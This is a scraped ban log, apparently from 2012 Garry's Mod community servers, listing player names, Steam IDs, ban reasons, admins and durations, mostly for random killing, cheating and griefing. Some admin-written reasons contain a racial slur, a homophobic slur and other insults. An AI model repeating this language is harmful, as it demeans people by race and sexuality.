+Fretta|Tigergruppe Kommand Puzzle 0:1:0 Unbanned +12:40 am 19-03-12 [DACRP-RIP] GML102 STEAM_0:1:38343177 troll that +MAD MANN Fretta|Tigergruppe Kommand Puzzle 0:1:0 Unbanned +8:46 pm 18-03-12 UrbanElite STEAM_0:0:30854132 Mass RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +5:07 pm 18-03-12 Unknown STEAM_0:1:35315929 RDM then leaving. +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +2:19 pm 18-03-12 Pranger STEAM_0:1:12905612 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:13:20 Unbanned +9:06 am 18-03-12 SteveE123 STEAM_0:1:50109057 Alt of banned ID +STEAM_0:1:31854870 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +6:03 pm 17-03-12 Ð?еÑ?ваÑ? Ñ?меÑ?Ñ?Ñ? STEAM_0:1:38332908 karma +and name +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +5:49 pm 17-03-12 ^5co^2ok^6ie STEAM_0:0:24585621 Alt of banned ID +STEAM_0:1:31137863 (Console) Official Zombified World|Lvl Cap +10 +Zombified World 0:22:57 Unbanned +5:49 pm 17-03-12 Kuimi STEAM_0:1:9285977 glitching the map again ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +4:46 pm 17-03-12 OMGlollerXD STEAM_0:1:31137863 RDM, no response +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +8:28 pm 16-03-12 Ultiamtus STEAM_0:0:34785696 base is WAY TOO CLOSE +Whack a mong Official Zombified World|Lvl Cap +10 Zombified World +4:20:40 Unbanned +5:50 pm 16-03-12 Unknown STEAM_0:1:29497464 Blocking, griefing +Kobato Official Zombified World|Lvl Cap +10 Zombified World 1:0:0 +Unbanned +5:08 pm 16-03-12 Unknown STEAM_0:1:42544915 mass RDM and left also +ban request! +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 10:10:0 Unbanned +3:52 pm 16-03-12 oskar e svensk STEAM_0:1:38465764 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +12:24 am 16-03-12 Saint STEAM_0:0:32874185 mass rdm MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +12:02 am 16-03-12 Kirill STEAM_0:1:6232747 doesn't want to be here +MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:08 am 15-03-12 Unknown STEAM_0:0:34785696 Feed this man a +dictionary MAD MANN Official Zombified World|Lvl Cap +10 Zombified +World 1:0:0 Unbanned +7:29 pm 14-03-12 F0nt1k STEAM_0:0:19038354 Double teamkill (Two +traitors) - Unbanned (The idiots blew themself up) Flapadar +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:0 Unbanned +7:11 pm 14-03-12 derpy rida ã?? STEAM_0:0:41668484 Lying Flapadar +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +6:10 pm 14-03-12 Triton STEAM_0:0:23168403 Alt of banned ID +STEAM_0:1:8475562 (Console) Fretta|Tigergruppe Kommand Zombie +Onslaught Permanent Banned +5:13 pm 14-03-12 Unknown STEAM_0:1:45766775 rdming then left! +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Deathrun 3:11:20 Unbanned +4:51 pm 14-03-12 Unknown STEAM_0:1:36440417 Ban Request. (Console) +Official Zombified World|Lvl Cap +10 Zombified World 10:12:0 Unbanned +4:20 pm 14-03-12 Unknown STEAM_0:1:8475562 Doesnt seem to care about +rules, many chances. +[SP]+ Marked One [SK] Fretta|Tigergruppe +Kommand Zombie Onslaught Permanent Banned +9:49 pm 13-03-12 Unknown STEAM_0:0:40465392 rdm then left and prop +pushing and..shithead +[SP]+ Hatcake Fretta|Tigergruppe Kommand +Deathrun 2:2:0 Unbanned +9:14 pm 13-03-12 Unknown STEAM_0:1:27991309 Propkill and disconnect ++[SP]+ Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified +World 2:18:40 Unbanned +9:07 pm 13-03-12 Unknown STEAM_0:1:18421295 got the tags but is a +nobody. who is not in SP - Unbanned by flap, vouched by Mind +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:0 +Unbanned +8:39 pm 13-03-12 ____Unknown Gamer____ STEAM_0:0:21647483 Prop +Pushing White Rock Shooter Official Zombified World|Lvl Cap +10 +Zombified World 1:9:20 Unbanned +9:13 pm 12-03-12 Seamen STEAM_0:1:39204273 rdm and karma is allways +low. shameful +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +7:42 pm 12-03-12 ITz chaos STEAM_0:0:35860134 Lying + rdm - Extended +due to multiple offences.. Flapadar Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 7:23:13 Unbanned +9:27 pm 11-03-12 Unknown STEAM_0:0:46099673 RDM and Left! +[SP]+ JoE +CrAcKeR Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:1:0 +Unbanned +7:42 pm 11-03-12 w.mesken STEAM_0:0:45707722 RDM x4 and left +Nemesis Fretta|Tigergruppe Kommand Zombie Onslaught 4:0:0 Unbanned +7:15 pm 11-03-12 Nate STEAM_0:1:24297812 RDM - Read the Rules. +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +7:06 pm 11-03-12 *Spam* STEAM_0:0:16430546 RDM x4 Nemesis +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 7:0:0 Unbanned +1:09 pm 11-03-12 Unknown STEAM_0:0:33575136 Ban Request. (Console) +Official Zombified World|Lvl Cap +10 Zombified World 1:12:0 Unbanned +9:19 am 11-03-12 Unknown STEAM_0:1:35820117 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +12:21 am 11-03-12 Unknown STEAM_0:1:39063623 Faction Exploiting ++[SP]+ Anime Official Zombified World|Lvl Cap +10 Zombified World +6:22:40 Unbanned +9:07 pm 10-03-12 [NBD] emortal death STEAM_0:1:33691372 fucking +noob MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +9:03 pm 10-03-12 ryanmcc STEAM_0:1:40441730 rdm MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +6:47 pm 10-03-12 [}mamouthe{]FR︻ã??â??ä¸? STEAM_0:1:32870612 rdming +and claiming +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +6:28 pm 10-03-12 Beastlor STEAM_0:1:3959917 rdming team again +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +4:27 am 10-03-12 shadowmax1 STEAM_0:0:48704036 Alt of banned ID +STEAM_0:0:15199728 (Console) Official Zombified World|Lvl Cap +10 +Zombified World 6:23:46 Unbanned +4:13 am 10-03-12 -=CS=- Turtle N a Tree STEAM_0:0:15199728 Basing out +of map Zanzibubba Official Zombified World|Lvl Cap +10 Zombified +World 7:0:0 Unbanned +3:30 am 10-03-12 jamiehead STEAM_0:0:26804470 RDM Nemesis +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +10:51 pm 09-03-12 (DC)Bob STEAM_0:1:14811705 RDM +[SP]+ Marked One +[SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:40 +Unbanned +1:13 pm 09-03-12 Frog STEAM_0:0:41668933 Prop Killing Chizuru Desu +Official Zombified World|Lvl Cap +10 Zombified World 2:18:40 Unbanned +1:46 am 09-03-12 Unknown STEAM_0:1:39063623 14 Too many reasons to +fit on Banlist Nemesis Official Zombified World|Lvl Cap +10 Zombified +World Permanent Banned +11:48 pm 08-03-12 Unknown STEAM_0:0:48325709 ban dispute MAD MANN +Fretta|Tigergruppe Kommand Deathrun 1:0:0 Unbanned +6:48 pm 08-03-12 Unknown STEAM_0:0:19543976 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +6:38 pm 08-03-12 Rollie STEAM_0:1:8475562 karma and not the first +time! +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +9:08 pm 07-03-12 KILLJOY STEAM_0:1:43945 oh fuck off aready +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +62:12:0 Unbanned +3:14 pm 07-03-12 Unknown STEAM_0:0:29261323 rdm and left MAD MANN +Fretta|Tigergruppe Kommand Zombie Onslaught 1:0:0 Unbanned +9:45 pm 06-03-12 Unknown STEAM_0:0:24124474 rdming the left. babes! ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +9:43 pm 06-03-12 Unknown STEAM_0:1:26087515 RDMING AND KARMA +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +9:40 pm 06-03-12 ceevo10 STEAM_0:0:47956264 RDM +[SP]+ JoE CrAcKeR +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 Unbanned +9:34 pm 06-03-12 ^1Chili^0Man STEAM_0:1:29133516 Having fun not +playing the game! +[SP]+ JoE CrAcKeR Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 0:0:1 Unbanned +8:50 pm 06-03-12 Unknown STEAM_0:0:29854230 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +1:34 pm 06-03-12 +[SP]+ WaffleCopter111 +PRO+ STEAM_0:1:32425210 Fake +tags +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:7:20 Unbanned +12:43 am 06-03-12 Unknown STEAM_0:1:27201943 Base Farming +(Console) Official Zombified World|Lvl Cap +10 Zombified World +Permanent Banned +12:42 am 06-03-12 Unknown STEAM_0:1:22989395 Base Farming +(Console) Official Zombified World|Lvl Cap +10 Zombified World +Permanent Banned +2:08 pm 05-03-12 Unknown STEAM_0:1:26509632 Cheat: myg0t (Console) +Fretta|Tigergruppe Kommand Deathrun Permanent Banned +12:17 am 05-03-12 Unknown STEAM_0:1:39063623 Spawning base in other +base circle +[SP]+ Anime Official Zombified World|Lvl Cap +10 +Zombified World 1:9:20 Unbanned +11:34 pm 04-03-12 Unknown STEAM_0:1:38676633 Destroying Prop +[SP]+ +Anime Official Zombified World|Lvl Cap +10 Zombified World 0:2:20 +Unbanned +9:38 pm 04-03-12 Reed^^ STEAM_0:0:30194821 Basing out of Map +Nemesis Official Zombified World|Lvl Cap +10 Zombified World 2:0:0 +Unbanned +4:29 pm 04-03-12 . - Â¥ ï®?౯Ťï»? Â¥ - . -Σή STEAM_0:1:20232602 +Alt of banned ID STEAM_0:1:11364923 (Console) Killa's Zombie Survival +Server Zombie Survival Permanent Banned +4:26 pm 04-03-12 . - Â¥ ï®?౯Ťï»? Â¥ - . -Σή STEAM_0:1:20232602 +Alt of banned ID STEAM_0:1:11364923 (Console) Fretta|Tigergruppe +Kommand Prop Hunt Permanent Banned +2:52 pm 04-03-12 Purepwnage STEAM_0:0:32689725 Major RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 10:0:0 Unbanned +1:16 am 04-03-12 Unknown STEAM_0:0:10012377 rdming then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +7:54 pm 03-03-12 Sgt. Pepper STEAM_0:0:13324704 troll, RDM, asshole +MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +7:30 pm 03-03-12 spaseren fra lønebrer STEAM_0:0:40545567 rdm MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +4:38 pm 03-03-12 Unknown STEAM_0:0:43627126 rdm and left MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +4:27 pm 03-03-12 Unknown STEAM_0:1:49049781 crowbar RDM and left MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 +Unbanned +2:21 pm 03-03-12 Unknown STEAM_0:1:40778718 rdming then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +1:48 pm 03-03-12 Ð?Ñ?аÑ?авÑ?ик STEAM_0:0:34194351 proppush MAD +MANN Official Zombified World|Lvl Cap +10 Zombified World 0:1:0 +Unbanned +1:35 pm 03-03-12 Unknown STEAM_0:0:35860134 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +1:08 pm 03-03-12 +[SP]+ HatGoesBoom STEAM_0:1:8993858 Pressing al the +traps Aion Fretta|Tigergruppe Kommand Deathrun 1:0:0 Unbanned +1:47 am 03-03-12 Unknown STEAM_0:1:16968054 rdming and left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:18:40 Unbanned +12:36 am 03-03-12 Gen.Killeruk [22nd AB] STEAM_0:1:16181769 And you +are banned for ghosting too Aion Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 10:0:0 Unbanned +12:36 am 03-03-12 Rec.Torchy[22nd AB] STEAM_0:1:24736249 I said fuck +off with your ghosting, so you are banned Aion Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 10:0:0 Unbanned +11:19 pm 02-03-12 Unknown STEAM_0:1:27874209 Cheat: cubhack +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:17 pm 02-03-12 Unknown STEAM_0:0:40146815 Cheat: mfsp (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +11:16 pm 02-03-12 Unknown STEAM_0:1:17286464 Cheat: coma (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +11:16 pm 02-03-12 Unknown STEAM_0:1:44511758 Cheat: lix (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +11:15 pm 02-03-12 Unknown STEAM_0:0:34111703 Cheat: lix (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +11:15 pm 02-03-12 Unknown STEAM_0:1:33659672 Cheat: elebot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:14 pm 02-03-12 Unknown STEAM_0:0:23552236 Cheat: (cracked) +sethhack v2 (Console) Fretta|Tigergruppe Kommand Trouble in Terrorist +Town Permanent Banned +11:12 pm 02-03-12 Unknown STEAM_0:1:12018844 Cheat: isis (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +11:11 pm 02-03-12 Unknown STEAM_0:1:44781337 Cheat: speed.lua +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:11 pm 02-03-12 Unknown STEAM_0:1:1439351 Cheat: herpes +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:10 pm 02-03-12 Unknown STEAM_0:0:24419439 Cheat: isis (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:1:17508660 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:1:26736765 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:1:37602703 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:1:41918177 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:1:28533213 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:0:42305682 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:0:36940612 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:0:38469933 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:1:1426417 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:0:17652107 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:0:6428289 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:0:30939823 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:1:40749708 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:1:23629652 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:0:35205289 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:1:49076431 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:0:26311595 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:1:19159317 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:1:10417976 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:1:41611335 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:1:43969722 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +9:39 pm 02-03-12 [FL:RP] arbiter[PT] STEAM_0:1:37139098 Alt of banned +ID STEAM_0:1:33568916 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:8:14 Unbanned +8:23 pm 02-03-12 Unknown STEAM_0:1:30710965 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 +Unbanned +8:33 pm 01-03-12 [Gmod.biZ]Dr.House[PT] STEAM_0:1:33568916 Base out +of map +[SP]+ Marked One [SK] Official Zombified World|Lvl Cap +10 +Zombified World 1:9:20 Unbanned +5:56 pm 01-03-12 Ifoitalia STEAM_0:0:27846975 propsurfing after +warning +[SP]+ Marked One [SK] Official Zombified World|Lvl Cap +10 +Zombified World 0:7:30 Unbanned +5:41 pm 01-03-12 Jaybeegee STEAM_0:1:36153357 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +4:59 pm 01-03-12 Unknown STEAM_0:1:38226140 ghosting +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +6:22:40 Unbanned +11:49 pm 29-02-12 Unknown STEAM_0:1:27808740 Extended (Console) +Official Zombified World|Lvl Cap +10 Zombified World Permanent Banned +9:39 pm 29-02-12 Unknown STEAM_0:0:8687166 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +9:39 pm 29-02-12 +[SP]+ CatLover STEAM_0:0:39083268 Bye catlover, you +wont return +[SP]+ Marked One [SK] Killa's Zombie Survival Server +Zombie Survival Permanent Banned +9:34 pm 29-02-12 Unknown STEAM_0:1:21507735 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +9:34 pm 29-02-12 Unknown STEAM_0:1:25675380 rdm tehn left oh and your +karma +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 6:22:40 Unbanned +9:29 pm 29-02-12 Tilleytubbies STEAM_0:1:25618362 mass rdming +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +7:59 pm 29-02-12 Kuimi STEAM_0:1:9285977 karma again +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:18:40 Unbanned +7:41 pm 29-02-12 blossared STEAM_0:1:10323224 rdm MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 Unbanned +6:44 pm 29-02-12 Yngve S.23 STEAM_0:0:19256252 Buy Norzone +Fretta|Tigergruppe Kommand Zombie Onslaught Permanent Banned +6:43 pm 29-02-12 Marius Nilsen. STEAM_0:1:27808740 No niggers, didn't +learn Norzone Fretta|Tigergruppe Kommand Zombie Onslaught 0:1:0 +Unbanned +4:46 pm 29-02-12 Troll face STEAM_0:0:39398900 rdming cunt +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +3:41 pm 29-02-12 Ultimatus STEAM_0:0:34785696 Faction exploiting, +lying and a retard. +[SP]+ Marked One [SK] Official Zombified +World|Lvl Cap +10 Zombified World 5:0:0 Unbanned +9:15 pm 28-02-12 [RTR] Mr. Fish STEAM_0:0:16192087 rdming and not +listening to anyone in anyway +[SP]+ Hatcake Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 1:0:0 Unbanned +8:40 pm 28-02-12 Unknown STEAM_0:1:20998165 rdm then left!!! +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +5:26 pm 28-02-12 Unknown STEAM_0:0:14696634 mass rdm then left ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +4:4:0 Unbanned +5:23 pm 28-02-12 Unknown STEAM_0:1:46271619 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +4:57 pm 28-02-12 Unknown STEAM_0:1:10895704 mass rdm left and karma ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +9:24 pm 27-02-12 Unknown STEAM_0:0:21504600 low karma + Rdm and +left MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +7:22 pm 27-02-12 Unknown STEAM_0:1:49543997 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +7:15 pm 27-02-12 Unknown STEAM_0:1:9285977 KARMA. man that was low +again -_- +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +6:21 pm 27-02-12 Unknown STEAM_0:0:24574346 mass rdm then left ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +5:32 pm 27-02-12 Unknown STEAM_0:1:36455336 rdming and then left you +were warned +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:0:0 Unbanned +5:13 pm 27-02-12 Unknown STEAM_0:0:31971203 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +4:57 pm 27-02-12 |nh|pistO STEAM_0:1:9869896 mass RDM and karma!!! ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +6:22:40 Unbanned +6:12 pm 26-02-12 Facerape ! STEAM_0:1:24418752 tosser MAD MANN +Fretta|Tigergruppe Kommand Puzzle 0:16:40 Unbanned +6:11 pm 26-02-12 LoreN STEAM_0:1:10895704 tosser MAD MANN +Fretta|Tigergruppe Kommand Puzzle 0:1:40 Unbanned +6:11 pm 26-02-12 Plasma NuggetZ STEAM_0:0:42101221 tosser MAD MANN +Fretta|Tigergruppe Kommand Puzzle 0:0:10 Unbanned +2:56 pm 26-02-12 Lewis Newt STEAM_0:1:45858119 rdm MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 4:20:40 Unbanned +2:40 pm 26-02-12 | Mooncalf | Is lurking about STEAM_0:1:18174935 +crowbaring retard MAD MANN Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:1:0 Unbanned +12:48 am 26-02-12 Ezio Auditore Da Firenze STEAM_0:1:29777858 rdm +then left +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +12:19 am 26-02-12 Unknown STEAM_0:1:47910462 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +10:43 pm 25-02-12 Unknown STEAM_0:1:13983941 rdming then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:9:20 +Unbanned +8:06 pm 25-02-12 That Noob STEAM_0:0:41202056 low karma + troll MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 +Unbanned +7:01 pm 25-02-12 Unknown STEAM_0:1:38332908 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +6:41 pm 25-02-12 Unknown STEAM_0:0:16017873 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +1:55 am 25-02-12 Unknown STEAM_0:0:40709205 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +9:00 pm 24-02-12 Ron Paul Revolution STEAM_0:0:41336260 mass rdm and +mic spam +[SP]+ Hatcake Fretta|Tigergruppe Kommand Deathrun +6:22:40 Unbanned +8:59 pm 24-02-12 Unknown STEAM_0:1:11404782 soz wrong ron +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:2 +Unbanned +8:51 pm 24-02-12 Dennis the piemancer STEAM_0:1:26489227 there! ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:10 Unbanned +8:46 pm 24-02-12 Unknown STEAM_0:1:23886494 rdming all night and left +after a big org of rdm +[SP]+ Hatcake Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 4:20:40 Unbanned +8:44 pm 24-02-12 Romanovitch STEAM_0:1:11404782 mass rdm + mic +spaming +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:0:0 Unbanned +3:37 pm 24-02-12 JONATHAN D STEAM_0:0:40545567 Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +3:37 pm 24-02-12 mikkel (dk) STEAM_0:1:38953043 Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +9:26 pm 23-02-12 Hannibal The Cannibal STEAM_0:0:30440286 being a +faggot (griefing) MAD MANN Fretta|Tigergruppe Kommand Puzzle +1:22:40 Unbanned +7:59 pm 23-02-12 Fetzi, die fröhliche Landmine! STEAM_0:0:8687166 +rdming a fellow T and rdming alot recently oh and left +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 5:13:20 Unbanned +7:11 pm 23-02-12 Unknown STEAM_0:0:35384945 rdming after warned and +also left with your other shithead!!!! +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 4:4:0 Unbanned +7:09 pm 23-02-12 Unknown STEAM_0:1:22772511 rdming and then left +everyone was warned...little shit +[SP]+ Hatcake Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 4:20:40 Unbanned +6:17 pm 23-02-12 Unknown STEAM_0:1:47050441 RDM after warning +[SP]+ +JoE CrAcKeR Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:10:20 Unbanned +4:13 pm 23-02-12 Unknown STEAM_0:1:42955808 Scamming Weapons then +leaving the server Aion Official Zombified World|Lvl Cap +10 +Zombified World Permanent Banned +3:53 am 23-02-12 Bad McCasual STEAM_0:1:33803502 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +3:46 am 23-02-12 Jellyfish donuts with seaweed STEAM_0:0:11857187 +RDM +[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +3:37 am 23-02-12 TheOmegaMan STEAM_0:0:3091328 ' Wanted to kill an +inno ' +[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +9:07 pm 22-02-12 Unknown STEAM_0:0:34510726 Ruining puzzle progress +then leaving Norzone Fretta|Tigergruppe Kommand Puzzle 0:16:40 +Unbanned +8:59 pm 22-02-12 